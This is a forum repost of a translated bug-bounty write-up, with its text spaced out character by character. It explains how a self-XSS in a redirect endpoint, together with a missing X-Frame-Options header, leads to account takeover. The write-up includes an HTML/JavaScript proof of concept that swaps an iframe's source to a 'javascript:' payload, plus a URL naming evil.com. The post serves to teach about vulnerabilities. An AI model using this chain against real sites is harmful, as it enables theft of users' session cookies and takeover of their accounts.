搜索

[20507] 2021-02-07_如何使用SelfXSS导致账户接管

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2021-02-07_如何使用SelfXSS导致账户接管 如 何 使 用 S e l f   X S S 导 致 账 户 接 管 a s u r t i 6 7 8 3   K h a n 安 全 攻 防 实 验 室   2 0 2 1 - 0 2 - 0 7 账 户 接 管 功 能                 你 好 ， 我 已 经 很 久 没 有 分 享 我 最 近 的 研 究 / 发 现 了 ， 但 在 这 篇 报 道 中 ， 我 将 分 享 我 发 现 的 一 个 漏 洞 ， 这 对 我 来 说 相 当 有 趣 ， 可 能 会 改 变 你 对   " S E L F   X S S   " 的 看 法 。                 我 通 常 ， 当 我 真 的 要 寻 找 漏 洞 时 ， 我 会 手 动 检 查 任 何 应 用 程 序 ， 如 开 放 重 定 向 或 X S S ， 以 找 到 其 他 黑 客 的 非 凡 工 具 可 能 会 忽 略 的 参 数                 所 以 ， 当 我 通 过 很 多 不 同 的 终 端 和 模 糊 通 过 很 多 不 同 的 参 数 ， 我 没 有 找 到 任 何 我 感 兴 趣 的 东 西 ， 因 为 该 程 序 是 一 个 4 年 的 老 程 序 ， 经 过 很 多 专 业 的 研 究 人 员 测 试 ， 但 我 不 知 道 为 什 么 我 真 的 想 找 到 一 个 漏 洞 在 这 个 目 标 ， 因 为 我 的 朋 友 K a r t i k S h a r m a 发 现 了 一 个 非 常 酷 的 存 储 X S S 在 这 个 目 标 上 ， 这 导 致 大 规 模 的 帐 户 接 管 p s : （ 拍 摄 他 的 D M 和 必 须 要 求 他 写 关 于 它 的 文 章                 让 我 们 回 到 正 题 ， 在 这 个 目 标 上 来 回 花 了 很 多 天 时 间 ， 我 终 于 遇 到 了 一 个 看 起 来 像 h t t p s : / / r e d a c t e d . c o m / r e d i r e c t / < u r l - p a t h > 的 端 点 ， 这 是 一 个 简 单 的 开 放 重 定 向 ， 等 等 ， 甚 至 不 是 开 放 重 定 向 ， 因 为 它 给 出 了 这 样 的 警 告 信 息 现 在 ， 出 于 好 奇 ， 我 把 端 点 从 h t t p s : / / r e d a c t e d . c o m / r e d i r e c t / j a v a s c r i p t : a l e r t ( 1 ) 改 成 了 h t t p s : / / r e d a c t e d . c o m / r e d i r e c t / j a v a s c r i p t : a l e r t ( 1 ) ， 然 后 按 了 继 续 选 项 ， 看 看 会 发 生 什 么 ， 然 后 弹 出 了 a l e r t ( 1 ) ， 如 下 图 所 示
具 有 挑 战 性 的 方 面 但 是 ， 这 里 是 具 有 挑 战 性 的 一 面 。 为 了 确 定 ， 我 复 制 了 端 点 是 h t t p s : / / r e d a c t e d . c o m / r e d i r e c t / j a v a s c r i p t : a l e r t ( 1 ) ， 然 后 在 不 同 的 浏 览 器 中 打 开 ， 继 续 到 网 站 的 选 项 消 失 了 ， 如 下 图 所 示 导 致 从 这 一 点 上 看 ， 0 影 响 漏 洞 ， 甚 至 连 合 法 的 自 X S S 都 没 有 。 如 果 你 不 明 白 这 种 行 为 ， 让 我 来 解 释 一 下 那 些 没 有 得 到 它 的 人 ， 这 是 因 为 r e g e x 正 在 检 测 特 殊 字 符 ， 如 "   '   >   *   / > ， 并 删 除 继 续 网 站 选 项 ， 一 旦 它 检 测 到 任 何 特 殊 字 符 后 / # r e d i r e c t ， 这 意 味 着 我 来 到 了 像 死 胡 同 的 情 况 。 现 在 ， 利 用 的 部 分 是 检 查 端 点 ， 即 ： h t t p s : / / r e d a c t e d . c o m / r e d i r e c t / j a v a s c r i p t : a l e r t ( 1 ) 是 否 启 用 了 X - F R A M E   O P T I O N S ， 我 很 幸 运 ， 是 的 ， 这 个 端 点 没 有 启 用 X - F R A M E   O P T I O N S ， 这 意 味 着 我 可 以 写 一 个 j s 代 码 ， 并 将 其 托 管 在 我 的 网 站 上 ， 并 进 一 步 利 用 这 个 漏 洞   : D   没 有 得 到 它 ？ 让 我 简 单 解 释 一 下 。 所 以 ， 我 是 这 样 做 的   写 了 这 个 j a v a s c r i p t 代 码 ， 并 将 端 点 托 管 在 我 的 服 务 器 上 的 i f r a m e 中 ， 由 我 的 j a v a s c r i p t 代 码 控 制 h t m l < h t m l >     < h e a d >     < m e t a   h t t p - e q u i v = " C o n t e n t - T y p e "   c o n t e n t = " t e x t / h t m l ;   c h a r s e t = u t f - 8 "   / >                 < t i t l e > C h a n g i n g   P a g e s . . .   P l e a s e   W a i t < / t i t l e >         < / h e a d >         < b o d y >                 < i f r a m e   s r c = " "   n a m e = " f r a m e "   i d = " f r a m e "   w i d t h = " 1 0 0 % "   h e i g h t = " 1 0 0 % " > < / i f r a m e >                 < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " >                         v a r   f r a m e s   =   A r r a y ( ' h t t p s : / / r e d a c t e d . c o m / # / r e d i r e c t / h t t p s : / / @ e v i l . c o m @ w w w . r e d a c t e d . c o m ' ,   3 ,                                 ' h t t p s : / / r e d a c t e d . c o m / # / r e d i r e c t / j a v a s c r i p t : a l e r t ( d o c u m e n t . d o m a i n ) ' ,   3 7 ) ;                         v a r   i   =   0 ,   l e n   =   f r a m e s . l e n g t h ;                         f u n c t i o n   C h a n g e S r c ( ) {                         d o c u m e n t . g e t E l e m e n t B y I d ( ' f r a m e ' ) . s r c   =   f r a m e s [ i + + ] ;                         i f   ( i   > =   l e n )   r e t u r n ;   / /   n o   m o r e   c h a n g i n g                         s e t T i m e o u t ( ' C h a n g e S r c ( ) ' ,   ( f r a m e s [ i + + ] * 1 0 0 0 ) ) ;                         }                         w i n d o w . o n l o a d   =   C h a n g e S r c ( ) ; < / s c r i p t >         < / b o d y >
所 以 基 本 上 ， 这 个 漏 洞 现 在 会 利 用 缺 失 的 X - F r a m e - O p t i o n s 头 ， 允 许 任 何 页 面 加 载 到 i f r a m e 中 。 一 旦 页 面 被 加 载 到 i f r a m e 中 ， 我 们 调 用 C h a n g e S r c ( ) 函 数 ， 将 有 效 的 U R L   h t t p s : / / r e d a c t e d . c o m / # / r e d i r e c t / h t t p s : / / / / @ w w w . r e d a c t e d . c o m 替 换 为 一 个 易 受 攻 击 的 U R L ， 即 h t t p s : / / r e d a c t e d . c o m / # / r e d i r e c t / j a v a s c r i p t : a l e r t ( d o c u m e n t . c o o k i e ) 。 由 于 不 涉 及 服 务 器 端 的 交 互 ， 并 且 U R L 在 页 面 加 载 后 被 替 换 ， 当 点 击 继 续 按 钮 时 ， 我 们 可 以 看 到 X S S 有 效 载 荷 与 用 户 的 c o o k i e 一 起 被 发 射 （ 如 下 图 所 示 ） 。 现 在 ， 这 创 造 了 一 个 影 响 的 方 式 ， 这 意 味 着 当 一 个 认 证 用 户 访 问 我 的 托 管 服 务 器 ， 他 / 她 的 认 证 c o o k i e 将 弹 出 ， 并 将 被 发 送 到 我 的 服 务 器 ， 这 意 味 着 帐 户 接 管 r e d a c t e d . c o m 的 任 何 用 户 。         < / b o d y > < / h t m l >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理